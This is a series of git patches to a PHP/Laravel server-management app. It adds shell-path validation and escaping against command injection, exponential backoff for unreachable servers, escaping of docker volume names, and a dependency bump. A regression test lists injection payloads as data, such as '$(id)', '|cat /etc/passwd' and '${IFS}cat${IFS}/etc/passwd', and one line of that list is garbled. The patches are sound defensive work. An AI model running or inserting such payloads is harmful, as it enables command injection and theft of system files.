@@ -2956,7 +2956,7 @@ public function update_env_by_uuid(Request $request)
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
@@ -3157,7 +3157,7 @@ public function create_bulk_envs(Request $request)
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
@@ -4077,7 +4077,7 @@ public function update_storage(Request $request): JsonResponse
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -4361,6 +4361,9 @@ public function create_storage(Request $request): JsonResponse
]);
} else {
$mountPath = str($request->mount_path)->trim()->start('/')->value();
+
+ validateShellSafePath($mountPath, 'file storage path');
+
$fsPath = application_configuration_dir().'/'.$application->uuid.$mountPath;
$storage = LocalFileVolume::create([
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index 44b66e57e..f9e171eee 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -334,7 +334,7 @@ public function update_by_uuid(Request $request)
// this check if the request is a valid json
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$validator = customApiValidator($request->all(), [
@@ -685,7 +685,7 @@ public function create_backup(Request $request)
// Validate incoming request is valid JSON
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -914,7 +914,7 @@ public function update_backup(Request $request)
}
// this check if the request is a valid json
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$validator = customApiValidator($request->all(), [
@@ -1590,7 +1590,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
$this->authorize('create', StandalonePostgresql::class);
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -3554,6 +3554,9 @@ public function create_storage(Request $request): JsonResponse
]);
} else {
$mountPath = str($request->mount_path)->trim()->start('/')->value();
+
+ validateShellSafePath($mountPath, 'file storage path');
+
$fsPath = database_configuration_dir().'/'.$database->uuid.$mountPath;
$storage = LocalFileVolume::create([
@@ -3646,7 +3649,7 @@ public function update_storage(Request $request): JsonResponse
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php
index ca565ece0..89635875c 100644
--- a/app/Http/Controllers/Api/ServicesController.php
+++ b/app/Http/Controllers/Api/ServicesController.php
@@ -302,7 +302,7 @@ public function create_service(Request $request)
$this->authorize('create', Service::class);
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$validationRules = [
@@ -925,7 +925,7 @@ public function update_by_uuid(Request $request)
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -2110,6 +2110,9 @@ public function create_storage(Request $request): JsonResponse
]);
} else {
$mountPath = str($request->mount_path)->trim()->start('/')->value();
+
+ validateShellSafePath($mountPath, 'file storage path');
+
$fsPath = service_configuration_dir().'/'.$service->uuid.$mountPath;
$storage = LocalFileVolume::create([
diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php
index 12d8bcbc3..e896f060a 100644
--- a/app/Livewire/Project/Service/Storage.php
+++ b/app/Livewire/Project/Service/Storage.php
@@ -2,6 +2,8 @@
namespace App\Livewire\Project\Service;
+use App\Models\Application;
+use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -49,7 +51,7 @@ public function mount()
$this->file_storage_directory_source = application_configuration_dir()."/{$this->resource->uuid}";
}
- if ($this->resource->getMorphClass() === \App\Models\Application::class) {
+ if ($this->resource->getMorphClass() === Application::class) {
if ($this->resource->destination->server->isSwarm()) {
$this->isSwarm = true;
}
@@ -138,7 +140,10 @@ public function submitFileStorage()
$this->file_storage_path = trim($this->file_storage_path);
$this->file_storage_path = str($this->file_storage_path)->start('/')->value();
- if ($this->resource->getMorphClass() === \App\Models\Application::class) {
+ // Validate path to prevent command injection
+ validateShellSafePath($this->file_storage_path, 'file storage path');
+
+ if ($this->resource->getMorphClass() === Application::class) {
$fs_path = application_configuration_dir().'/'.$this->resource->uuid.$this->file_storage_path;
} elseif (str($this->resource->getMorphClass())->contains('Standalone')) {
$fs_path = database_configuration_dir().'/'.$this->resource->uuid.$this->file_storage_path;
@@ -146,7 +151,7 @@ public function submitFileStorage()
throw new \Exception('No valid resource type for file mount storage type!');
}
- \App\Models\LocalFileVolume::create([
+ LocalFileVolume::create([
'fs_path' => $fs_path,
'mount_path' => $this->file_storage_path,
'content' => $this->file_storage_content,
@@ -183,7 +188,7 @@ public function submitFileStorageDirectory()
validateShellSafePath($this->file_storage_directory_source, 'storage source path');
validateShellSafePath($this->file_storage_directory_destination, 'storage destination path');
- \App\Models\LocalFileVolume::create([
+ LocalFileVolume::create([
'fs_path' => $this->file_storage_directory_source,
'mount_path' => $this->file_storage_directory_destination,
'is_directory' => true,
diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php
index da58ed2f9..b954a1dd5 100644
--- a/app/Models/LocalFileVolume.php
+++ b/app/Models/LocalFileVolume.php
@@ -3,6 +3,7 @@
namespace App\Models;
use App\Events\FileStorageChanged;
+use App\Jobs\ServerStorageSaveJob;
use Illuminate\Database\Eloquent\Casts\Attribute;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Symfony\Component\Yaml\Yaml;
@@ -27,7 +28,7 @@ protected static function booted()
{
static::created(function (LocalFileVolume $fileVolume) {
$fileVolume->load(['service']);
- dispatch(new \App\Jobs\ServerStorageSaveJob($fileVolume));
+ dispatch(new ServerStorageSaveJob($fileVolume));
});
}
@@ -129,15 +130,22 @@ public function saveStorageOnServer()
$server = $this->resource->destination->server;
}
$commands = collect([]);
+
+ // Validate fs_path early before any shell interpolation
+ validateShellSafePath($this->fs_path, 'storage path');
+ $escapedFsPath = escapeshellarg($this->fs_path);
+ $escapedWorkdir = escapeshellarg($workdir);
+
if ($this->is_directory) {
- $commands->push("mkdir -p $this->fs_path > /dev/null 2>&1 || true");
- $commands->push("mkdir -p $workdir > /dev/null 2>&1 || true");
- $commands->push("cd $workdir");
+ $commands->push("mkdir -p {$escapedFsPath} > /dev/null 2>&1 || true");
+ $commands->push("mkdir -p {$escapedWorkdir} > /dev/null 2>&1 || true");
+ $commands->push("cd {$escapedWorkdir}");
}
if (str($this->fs_path)->startsWith('.') || str($this->fs_path)->startsWith('/') || str($this->fs_path)->startsWith('~')) {
$parent_dir = str($this->fs_path)->beforeLast('/');
if ($parent_dir != '') {
- $commands->push("mkdir -p $parent_dir > /dev/null 2>&1 || true");
+ $escapedParentDir = escapeshellarg($parent_dir);
+ $commands->push("mkdir -p {$escapedParentDir} > /dev/null 2>&1 || true");
}
}
$path = data_get_str($this, 'fs_path');
@@ -147,7 +155,7 @@ public function saveStorageOnServer()
$path = $workdir.$path;
}
- // Validate and escape path to prevent command injection
+ // Validate and escape resolved path (may differ from fs_path if relative)
validateShellSafePath($path, 'storage path');
$escapedPath = escapeshellarg($path);
diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php
index a89a209b1..192ea8c8f 100644
--- a/tests/Unit/FileStorageSecurityTest.php
+++ b/tests/Unit/FileStorageSecurityTest.php
@@ -91,3 +91,53 @@
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
->not->toThrow(Exception::class);
});
+
+// --- Regression tests for GHSA-46hp-7m8g-7622 ---
+// These verify that file mount paths (not just directory mounts) are validated,
+// and that saveStorageOnServer() validates fs_path before any shell interpolation.
+
+test('file storage rejects command injection in file mount path context', function () {
+ $maliciousPaths = [
+ '/app/config$(id)',
+ '/app/config;whoami',
+ '/app/config|cat /etc/passwd',
+ '/app/config`id`',
+ '/app/config&whoami',
+ '/app/config>/tmp/pwned',
+ '/app/config validateShellSafePath($path, 'file storage path'))
+ ->toThrow(Exception::class);
+ }
+});
+
+test('file storage rejects variable substitution in paths', function () {
+ expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path'))
+ ->toThrow(Exception::class);
+});
+
+test('file storage accepts safe file mount paths', function () {
+ $safePaths = [
+ '/etc/nginx/nginx.conf',
+ '/app/.env',
+ '/data/coolify/services/abc123/config.yml',
+ '/var/www/html/index.php',
+ '/opt/app/config/database.json',
+ ];
+
+ foreach ($safePaths as $path) {
+ expect(fn () => validateShellSafePath($path, 'file storage path'))
+ ->not->toThrow(Exception::class);
+ }
+});
+
+test('file storage accepts relative dot-prefixed paths', function () {
+ expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('./data', 'storage path'))
+ ->not->toThrow(Exception::class);
+});
From b22e470877129ce4a787c0fa639a00999faac17c Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 26 Mar 2026 00:53:57 +0000
Subject: [PATCH 049/118] chore(deps): bump picomatch
Bumps and [picomatch](https://github.com/micromatch/picomatch). These dependencies needed to be updated together.
Updates `picomatch` from 4.0.3 to 4.0.4
- [Release notes](https://github.com/micromatch/picomatch/releases)
- [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4)
Updates `picomatch` from 2.3.1 to 2.3.2
- [Release notes](https://github.com/micromatch/picomatch/releases)
- [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4)
---
updated-dependencies:
- dependency-name: picomatch
dependency-version: 4.0.4
dependency-type: indirect
- dependency-name: picomatch
dependency-version: 2.3.2
dependency-type: indirect
...
Signed-off-by: dependabot[bot]
---
package-lock.json | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/package-lock.json b/package-lock.json
index 3c9753bb8..6959704a1 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -2388,9 +2388,9 @@
"license": "ISC"
},
"node_modules/picomatch": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
- "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz",
+ "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==",
"dev": true,
"license": "MIT",
"engines": {
@@ -2795,9 +2795,9 @@
}
},
"node_modules/vite-plugin-full-reload/node_modules/picomatch": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
- "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+ "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
"dev": true,
"license": "MIT",
"engines": {
From dd2c9c291aaed35c026650bbd2028c35513360c5 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 10:51:36 +0100
Subject: [PATCH 050/118] feat(jobs): implement exponential backoff for
unreachable servers
Reduce load on unreachable servers by implementing exponential backoff
during connectivity failures. Check frequency decreases based on
consecutive failure count:
0-2: every cycle
3-5: ~15 min intervals
6-11: ~30 min intervals
12+: ~60 min intervals
Uses server ID hash to distribute checks across cycles and prevent
thundering herd.
ServerCheckJob and ServerConnectionCheckJob increment unreachable_count
on failures. ServerManagerJob applies backoff logic before dispatching
checks. Includes comprehensive test coverage.
---
app/Jobs/ServerCheckJob.php | 4 +-
app/Jobs/ServerConnectionCheckJob.php | 38 ++++--
app/Jobs/ServerManagerJob.php | 42 ++++++-
tests/Unit/ServerBackoffTest.php | 175 ++++++++++++++++++++++++++
4 files changed, 245 insertions(+), 14 deletions(-)
create mode 100644 tests/Unit/ServerBackoffTest.php
diff --git a/app/Jobs/ServerCheckJob.php b/app/Jobs/ServerCheckJob.php
index a18d45b9a..10faa7e9b 100644
--- a/app/Jobs/ServerCheckJob.php
+++ b/app/Jobs/ServerCheckJob.php
@@ -15,6 +15,7 @@
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Illuminate\Queue\SerializesModels;
+use Illuminate\Queue\TimeoutExceededException;
use Illuminate\Support\Facades\Log;
class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue
@@ -36,11 +37,12 @@ public function __construct(public Server $server) {}
public function failed(?\Throwable $exception): void
{
- if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) {
+ if ($exception instanceof TimeoutExceededException) {
Log::warning('ServerCheckJob timed out', [
'server_id' => $this->server->id,
'server_name' => $this->server->name,
]);
+ $this->server->increment('unreachable_count');
// Delete the queue job so it doesn't appear in Horizon's failed list.
$this->job?->delete();
diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php
index 2c73ae43e..7ce316dcd 100644
--- a/app/Jobs/ServerConnectionCheckJob.php
+++ b/app/Jobs/ServerConnectionCheckJob.php
@@ -2,8 +2,10 @@
namespace App\Jobs;
+use App\Helpers\SshMultiplexingHelper;
use App\Models\Server;
use App\Services\ConfigurationRepository;
+use App\Services\HetznerService;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
use Illuminate\Contracts\Queue\ShouldQueue;
@@ -11,7 +13,9 @@
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Illuminate\Queue\SerializesModels;
+use Illuminate\Queue\TimeoutExceededException;
use Illuminate\Support\Facades\Log;
+use Illuminate\Support\Facades\Process;
class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue
{
@@ -19,7 +23,7 @@ class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue
public $tries = 1;
- public $timeout = 30;
+ public $timeout = 15;
public function __construct(
public Server $server,
@@ -28,7 +32,7 @@ public function __construct(
public function middleware(): array
{
- return [(new WithoutOverlapping('server-connection-check-'.$this->server->uuid))->expireAfter(45)->dontRelease()];
+ return [(new WithoutOverlapping('server-connection-check-'.$this->server->uuid))->expireAfter(25)->dontRelease()];
}
private function disableSshMux(): void
@@ -72,6 +76,7 @@ public function handle()
'is_reachable' => false,
'is_usable' => false,
]);
+ $this->server->increment('unreachable_count');
Log::warning('ServerConnectionCheck: Server not reachable', [
'server_id' => $this->server->id,
@@ -90,6 +95,10 @@ public function handle()
'is_usable' => $isUsable,
]);
+ if ($this->server->unreachable_count > 0) {
+ $this->server->update(['unreachable_count' => 0]);
+ }
+
} catch (\Throwable $e) {
Log::error('ServerConnectionCheckJob failed', [
@@ -100,6 +109,7 @@ public function handle()
'is_reachable' => false,
'is_usable' => false,
]);
+ $this->server->increment('unreachable_count');
return;
}
@@ -107,11 +117,12 @@ public function handle()
public function failed(?\Throwable $exception): void
{
- if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) {
+ if ($exception instanceof TimeoutExceededException) {
$this->server->settings->update([
'is_reachable' => false,
'is_usable' => false,
]);
+ $this->server->increment('unreachable_count');
// Delete the queue job so it doesn't appear in Horizon's failed list.
$this->job?->delete();
@@ -123,7 +134,7 @@ private function checkHetznerStatus(): void
$status = null;
try {
- $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token);
+ $hetznerService = new HetznerService($this->server->cloudProviderToken->token);
$serverData = $hetznerService->getServer($this->server->hetzner_server_id);
$status = $serverData['status'] ?? null;
@@ -144,15 +155,18 @@ private function checkHetznerStatus(): void
private function checkConnection(): bool
{
try {
- // Use instant_remote_process with a simple command
- // This will automatically handle mux, sudo, IPv6, Cloudflare tunnel, etc.
- $output = instant_remote_process_with_timeout(
- ['ls -la /'],
- $this->server,
- false // don't throw error
- );
+ // Single SSH attempt without SshRetryHandler — retries waste time for connectivity checks.
+ // Backoff is managed at the dispatch level via unreachable_count.
+ $commands = ['ls -la /'];
+ if ($this->server->isNonRoot()) {
+ $commands = parseCommandsByLineForSudo(collect($commands), $this->server);
+ }
+ $commandString = implode("\n", $commands);
- return $output !== null;
+ $sshCommand = SshMultiplexingHelper::generateSshCommand($this->server, $commandString, true);
+ $process = Process::timeout(10)->run($sshCommand);
+
+ return $process->exitCode() === 0;
} catch (\Throwable $e) {
Log::debug('ServerConnectionCheck: Connection check failed', [
'server_id' => $this->server->id,
diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php
index 3f748f0ca..9532282cc 100644
--- a/app/Jobs/ServerManagerJob.php
+++ b/app/Jobs/ServerManagerJob.php
@@ -86,6 +86,9 @@ private function dispatchConnectionChecks(Collection $servers): void
if ($server->isSentinelEnabled() && $server->isSentinelLive()) {
return;
}
+ if ($this->shouldSkipDueToBackoff($server)) {
+ return;
+ }
ServerConnectionCheckJob::dispatch($server);
} catch (\Exception $e) {
Log::channel('scheduled-errors')->error('Failed to dispatch ServerConnectionCheck', [
@@ -129,7 +132,9 @@ private function processServerTasks(Server $server): void
if ($sentinelOutOfSync) {
// Dispatch ServerCheckJob if Sentinel is out of sync
if (shouldRunCronNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}", $this->executionTime)) {
- ServerCheckJob::dispatch($server);
+ if (! $this->shouldSkipDueToBackoff($server)) {
+ ServerCheckJob::dispatch($server);
+ }
}
}
@@ -165,4 +170,39 @@ private function processServerTasks(Server $server): void
// Note: CheckAndStartSentinelJob is only dispatched daily (line above) for version updates.
// Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob.
}
+
+ /**
+ * Determine the backoff cycle interval based on how many consecutive times a server has been unreachable.
+ * Higher counts → less frequent checks (based on 5-min cloud cycle):
+ * 0-2: every cycle, 3-5: ~15 min, 6-11: ~30 min, 12+: ~60 min
+ */
+ private function getBackoffCycleInterval(int $unreachableCount): int
+ {
+ return match (true) {
+ $unreachableCount <= 2 => 1,
+ $unreachableCount <= 5 => 3,
+ $unreachableCount <= 11 => 6,
+ default => 12,
+ };
+ }
+
+ /**
+ * Check if a server should be skipped this cycle due to unreachable backoff.
+ * Uses server ID hash to distribute checks across cycles (avoid thundering herd).
+ */
+ private function shouldSkipDueToBackoff(Server $server): bool
+ {
+ $unreachableCount = $server->unreachable_count ?? 0;
+ $interval = $this->getBackoffCycleInterval($unreachableCount);
+
+ if ($interval <= 1) {
+ return false;
+ }
+
+ $cyclePeriodMinutes = isCloud() ? 5 : 1;
+ $cycleIndex = intdiv($this->executionTime->minute, $cyclePeriodMinutes);
+ $serverHash = abs(crc32((string) $server->id));
+
+ return ($cycleIndex + $serverHash) % $interval !== 0;
+ }
}
diff --git a/tests/Unit/ServerBackoffTest.php b/tests/Unit/ServerBackoffTest.php
new file mode 100644
index 000000000..bdcefb74f
--- /dev/null
+++ b/tests/Unit/ServerBackoffTest.php
@@ -0,0 +1,175 @@
+invoke($job, 0))->toBe(1)
+ ->and($method->invoke($job, 1))->toBe(1)
+ ->and($method->invoke($job, 2))->toBe(1)
+ ->and($method->invoke($job, 3))->toBe(3)
+ ->and($method->invoke($job, 5))->toBe(3)
+ ->and($method->invoke($job, 6))->toBe(6)
+ ->and($method->invoke($job, 11))->toBe(6)
+ ->and($method->invoke($job, 12))->toBe(12)
+ ->and($method->invoke($job, 100))->toBe(12);
+ });
+});
+
+describe('shouldSkipDueToBackoff', function () {
+ it('never skips servers with unreachable_count <= 2', function () {
+ $job = new ServerManagerJob;
+ $executionTimeProp = new ReflectionProperty($job, 'executionTime');
+ $method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
+
+ $server = Mockery::mock(Server::class)->makePartial();
+ $server->id = 42;
+
+ foreach ([0, 1, 2] as $count) {
+ $server->unreachable_count = $count;
+
+ // Test across all minutes in an hour
+ for ($minute = 0; $minute < 60; $minute++) {
+ Carbon::setTestNow("2025-01-15 12:{$minute}:00");
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ expect($method->invoke($job, $server))->toBeFalse(
+ "Should not skip with unreachable_count={$count} at minute={$minute}"
+ );
+ }
+ }
+ });
+
+ it('skips most cycles for servers with high unreachable count', function () {
+ $job = new ServerManagerJob;
+ $executionTimeProp = new ReflectionProperty($job, 'executionTime');
+ $method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
+
+ $server = Mockery::mock(Server::class)->makePartial();
+ $server->id = 42;
+ $server->unreachable_count = 15; // interval = 12
+
+ $skipCount = 0;
+ $allowCount = 0;
+
+ for ($minute = 0; $minute < 60; $minute++) {
+ Carbon::setTestNow("2025-01-15 12:{$minute}:00");
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ if ($method->invoke($job, $server)) {
+ $skipCount++;
+ } else {
+ $allowCount++;
+ }
+ }
+
+ // With interval=12, most cycles should be skipped but at least one should be allowed
+ expect($allowCount)->toBeGreaterThan(0)
+ ->and($skipCount)->toBeGreaterThan($allowCount);
+ });
+
+ it('distributes checks across servers using server ID hash', function () {
+ $job = new ServerManagerJob;
+ $executionTimeProp = new ReflectionProperty($job, 'executionTime');
+ $method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
+
+ // Two servers with same unreachable_count but different IDs
+ $server1 = Mockery::mock(Server::class)->makePartial();
+ $server1->id = 1;
+ $server1->unreachable_count = 5; // interval = 3
+
+ $server2 = Mockery::mock(Server::class)->makePartial();
+ $server2->id = 2;
+ $server2->unreachable_count = 5; // interval = 3
+
+ $server1AllowedMinutes = [];
+ $server2AllowedMinutes = [];
+
+ for ($minute = 0; $minute < 60; $minute++) {
+ Carbon::setTestNow("2025-01-15 12:{$minute}:00");
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ if (! $method->invoke($job, $server1)) {
+ $server1AllowedMinutes[] = $minute;
+ }
+ if (! $method->invoke($job, $server2)) {
+ $server2AllowedMinutes[] = $minute;
+ }
+ }
+
+ // Both servers should have some allowed minutes, but not all the same
+ expect($server1AllowedMinutes)->not->toBeEmpty()
+ ->and($server2AllowedMinutes)->not->toBeEmpty()
+ ->and($server1AllowedMinutes)->not->toBe($server2AllowedMinutes);
+ });
+});
+
+describe('ServerConnectionCheckJob unreachable_count', function () {
+ it('increments unreachable_count on timeout', function () {
+ $settings = Mockery::mock();
+ $settings->shouldReceive('update')
+ ->with(['is_reachable' => false, 'is_usable' => false])
+ ->once();
+
+ $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
+ $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
+ $server->shouldReceive('increment')->with('unreachable_count')->once();
+ $server->id = 1;
+ $server->name = 'test-server';
+
+ $job = new ServerConnectionCheckJob($server);
+ $job->failed(new TimeoutExceededException);
+ });
+
+ it('does not increment unreachable_count for non-timeout failures', function () {
+ $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
+ $server->shouldNotReceive('increment');
+ $server->id = 1;
+ $server->name = 'test-server';
+
+ $job = new ServerConnectionCheckJob($server);
+ $job->failed(new RuntimeException('Some other error'));
+ });
+});
+
+describe('ServerCheckJob unreachable_count', function () {
+ it('increments unreachable_count on timeout', function () {
+ $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
+ $server->shouldReceive('increment')->with('unreachable_count')->once();
+ $server->id = 1;
+ $server->name = 'test-server';
+
+ $job = new ServerCheckJob($server);
+ $job->failed(new TimeoutExceededException);
+ });
+
+ it('does not increment unreachable_count for non-timeout failures', function () {
+ $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
+ $server->shouldNotReceive('increment');
+ $server->id = 1;
+ $server->name = 'test-server';
+
+ $job = new ServerCheckJob($server);
+ $job->failed(new RuntimeException('Some other error'));
+ });
+});
From d2064dd4998694cda2eabd00149f7c4d1e94c699 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 11:06:30 +0100
Subject: [PATCH 051/118] fix(storage): use escapeshellarg for volume names in
shell commands
Add proper shell escaping for persistent volume names when used in
docker volume rm commands. Also add volume name validation pattern
to ValidationPatterns for consistent input checking.
Co-Authored-By: Claude Opus 4.6
---
app/Actions/Service/DeleteService.php | 2 +-
app/Livewire/Project/Service/Storage.php | 5 +-
app/Models/Application.php | 2 +-
app/Models/ApplicationPreview.php | 2 +-
app/Models/StandaloneClickhouse.php | 2 +-
app/Models/StandaloneDragonfly.php | 2 +-
app/Models/StandaloneKeydb.php | 2 +-
app/Models/StandaloneMariadb.php | 2 +-
app/Models/StandaloneMongodb.php | 2 +-
app/Models/StandaloneMysql.php | 2 +-
app/Models/StandalonePostgresql.php | 2 +-
app/Models/StandaloneRedis.php | 2 +-
app/Support/ValidationPatterns.php | 37 ++++++++
tests/Unit/PersistentVolumeSecurityTest.php | 98 +++++++++++++++++++++
14 files changed, 149 insertions(+), 13 deletions(-)
create mode 100644 tests/Unit/PersistentVolumeSecurityTest.php
diff --git a/app/Actions/Service/DeleteService.php b/app/Actions/Service/DeleteService.php
index 8790901cd..460600d69 100644
--- a/app/Actions/Service/DeleteService.php
+++ b/app/Actions/Service/DeleteService.php
@@ -33,7 +33,7 @@ public function handle(Service $service, bool $deleteVolumes, bool $deleteConnec
}
}
foreach ($storagesToDelete as $storage) {
- $commands[] = "docker volume rm -f $storage->name";
+ $commands[] = 'docker volume rm -f '.escapeshellarg($storage->name);
}
// Execute volume deletion first, this must be done first otherwise volumes will not be deleted.
diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php
index e896f060a..433c2b13c 100644
--- a/app/Livewire/Project/Service/Storage.php
+++ b/app/Livewire/Project/Service/Storage.php
@@ -5,6 +5,7 @@
use App\Models\Application;
use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
+use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -103,10 +104,10 @@ public function submitPersistentVolume()
$this->authorize('update', $this->resource);
$this->validate([
- 'name' => 'required|string',
+ 'name' => ValidationPatterns::volumeNameRules(),
'mount_path' => 'required|string',
'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable',
- ]);
+ ], ValidationPatterns::volumeNameMessages());
$name = $this->resource->uuid.'-'.$this->name;
diff --git a/app/Models/Application.php b/app/Models/Application.php
index 4cc2dcf74..c446052b3 100644
--- a/app/Models/Application.php
+++ b/app/Models/Application.php
@@ -390,7 +390,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}
diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php
index 3b7bf3030..b8a8a5a85 100644
--- a/app/Models/ApplicationPreview.php
+++ b/app/Models/ApplicationPreview.php
@@ -37,7 +37,7 @@ protected static function booted()
$persistentStorages = $preview->persistentStorages()->get() ?? collect();
if ($persistentStorages->count() > 0) {
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}
diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php
index 33f32dd59..143aadb6a 100644
--- a/app/Models/StandaloneClickhouse.php
+++ b/app/Models/StandaloneClickhouse.php
@@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php
index 074c5b509..c823c305b 100644
--- a/app/Models/StandaloneDragonfly.php
+++ b/app/Models/StandaloneDragonfly.php
@@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
